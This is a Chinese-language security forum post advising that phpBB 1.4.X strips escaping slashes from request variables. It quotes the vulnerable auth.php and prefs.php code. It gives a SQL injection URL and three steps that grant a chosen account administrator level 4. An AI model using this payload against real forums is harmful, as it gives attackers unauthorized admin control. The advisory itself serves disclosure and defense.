|
![]() | 作者: clown [clown]
![]() |
登录 |
phpBB 是一个开放源码的电子公告牌系统。但是发现它的 phpBB 1.4.X 版本在对变量输入的验证上存在问题。 这可能导致对受影响系统的任意 sql 请求被通过。 问题在于 phpBB 1.4.X 的 auth.php 文件中有一个运算法则,它会移去 PHP 自动加到 GPC 变量(Get/post/Cookie)的反斜线。 <Example code from auth.php> if(get_magic_quotes_gpc() == 1) { switch($REQUEST_METHOD){ case "POST": while (list ($key, $val) = each ($HTTP_POST_VARS)){ if( is_array($val) ){ array_walk($val, 'stripslashes_array', ''); $$key = $val;} else{ $$key = stripslashes($val);} } break; </ End example code> 因此,某些通过 URL 提交的 PHP 变量可能达到一个带 unescaped quotes 的 sql 请求。在 prefs.php 文件中,攻击者通过给$viewemail 提供某一类型的值可能执行任意请求。 < Example sql query in prefs.php > $sql = "UPDATE users SET user_viewemail='$viewemail', user_theme='$themes', user_attachsig = '$sig', user_desmile = '$smile', user_html = '$dishtml', user_bbcode = '$disbbcode', user_lang = '$lang' WHERE (user_id = '$userdata[user_id]')"; </ End example code > <Example URL> http://sitename/phpBBfolder/prefs.php?save=1 &viewemail=1',user_level%3D'4'%20where% 20username%3D'l337h4x0r'%23 </ End example URL> 这个例子 URL 将会产生一个带 level 4 (administrative) 特权的用户 "l337h4x0r" 总结过程如下: 1、在 phpBB 上注册一个帐户 2、键入上面的 URL 3、在 "Administration Panel" 上点击 |
地主 发表时间: 05/01 01:37 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号